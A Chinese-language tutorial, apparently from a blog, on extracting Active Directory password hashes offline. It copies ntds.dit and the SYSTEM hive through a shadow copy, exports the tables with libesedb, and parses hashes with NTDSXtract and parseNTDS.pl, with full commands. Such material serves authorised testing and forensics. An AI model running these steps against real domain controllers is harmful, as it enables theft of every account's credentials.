使用NTDSXtract离线抓取Domain Hash
下载NTDSX
下载libesedb
http://code.google.com/p/libesedb/
获得ntds.dit和SYSTEM文件: 2008和2012的域控用ntdsutil命令,网上有。
2008以下的域控,创建磁盘的shadow copy,然后拷贝ntds.dit和system。 有两个工具可共选择:Vssown.vbs 网上都有,很简单。 windows的VSSSDK
去官网上下载,是个SDK需要安装,安装完后VSSSDK72\TestApps\vshadow目录下有源码和bin文件vshadow.exe,bin文件可以直接用,xp和2003的两个版本都有。网上也有单独的vshadow.exe文件。 vshadow.exe -exec=%ComSpec% C: copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system . copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\ntds\ntds.dit . Exit Exit
网上有个bat,也可以用。
http://blogs.msdn.com/b/adioltean/archive/2005/01/05/346793.aspx
保存为CopyFile.cmd,和vshadow.exe放在同一目录下。
CopyFile.cmd c:\windows\system32\config\system c:\
Linux: 编译libesedb: 下载libesedb,文件名:libesedb-alpha-20120102.tar.gz。 解压:
tar -xf libesedb-alpha-20120102.tar.gz cd libesedb-20120102 ./configure make
提取ntds.dit中的表:
./esedbexport -t ../../NTDS/ntds.dit ../../NTDS/ntds.dit
root@bt:/MyDisk/libesedb-20120102/esedbtools# ls ../../NTDS/ntds.dit.export
datatable.3 link_table.4 MSysObjects.0 MSysUnicodeFixupVer1.2 quota_table.8 sd_table.7
hiddentable.5 MSysDefrag1.10 MSysObjectsShadow.1 quota_rebuild_progress_table.9 sdproptable.6
我们只需要datatable 和 link_table。 解析ntds文件:
下载NTDSXtract,文件名:ntdsxtract_v1_0.zip。
解压:
cd esedbtools/ ./esedbexport -t ../../NTDS/ntds.dit ../../NTDS/ntds.dit root@bt:/MyDisk/libesedb-20120102/esedbtools# ls ../../NTDS/ntds.dit.export datatable.3 link_table.4 MSysObjects.0 MSysUnicodeFixupVer1.2 quota_table.8 sd_table.7 hiddentable.5 MSysDefrag1.10 MSysObjectsShadow.1 quota_rebuild_progress_table.9 sdproptable.6
使用parseNTDS.pl:
parseNTDS.pl 用来处理NTDSX的结果。
http://www.cyberis.co.uk/downloads/parseNTDS.pl
Linux创建一个这个文件,赋予可执行权限,chmod +x parseNTDS.pl
将NTDSX的结果重定向到文件ntds.output;
python dsusers.py ../NTDS/ntds.dit.export/datatable.3 ../NTDS/ntds.dit.export/link_table.4 –passwordhashes ../NTDS/system > ../NTDS/ntds.output ./paresNTDS.pl -f ./ntds.output –lmonly 只显示hash值; ./paresNTDS.pl -f ./ntds.output –removedisable 去除无效账户;
其他的看usage,讲得很清楚。 Windows: 编译libesedb:
解压libesedb压缩包,msvscpp文件夹下有个Visual Studio 2008的 解决方案文件,用2008或
以上编译器打开,编译全部文件即可;不要修改其项目配置,编译不会出现问题。
使用\msvscpp\Release\esedbexport.exe文件提取ntds.dit文件中的表。
同目录下libesedb.dll是其依赖库,要放在一起。 提取ntds.dit中的表:
和Linux下一样,
esedbexport.exe -l .\ntds.log -t .\ntds.dit .\ntds.dit
Opening file.
Exporting table 1 (MSysObjects) out of 11.
Exporting table 2 (MSysObjectsShadow) out of 11.
Exporting table 3 (MSysUnicodeFixupVer1) out of 11.
Exporting table 4 (datatable) out of 11.
Exporting table 5 (link_table) out of 11.
Exporting table 6 (hiddentable) out of 11.
Exporting table 7 (sdproptable) out of 11.
Exporting table 8 (sd_table) out of 11.
Exporting table 9 (quota_table) out of 11.
Exporting table 10 (quota_rebuild_progress_table) out of 11.
Exporting table 11 (MSysDefrag1) out of 11.
Export completed.
只需要datatable和link_table。 解析ntds文件:
Windows上需要安装python。本人装的是Python 2.6。
由于NTDSX使用到了python的一个加密库文件pycrypto,所以我们需要下一个。
官网:
http://pypi.python.org/pypi/pycrypto/2.6
下载后需要编译,windows上编译比较麻烦。
http://www.voidspace.org.uk/python/modules.shtml#pycrypto
这里有已编译好的。
安装完python再安装pycrypto即可。
其他的跟Linux上一样的。
python dsusers.py ..\ntds.dit.export\datatable.3 ..\ntds.dit.export\link_table.4 –passwordhashes ..\system –passwordhistory ..\system –member ..\system
使用parseNTDS.pl:
和linux一样,有perl环境就行。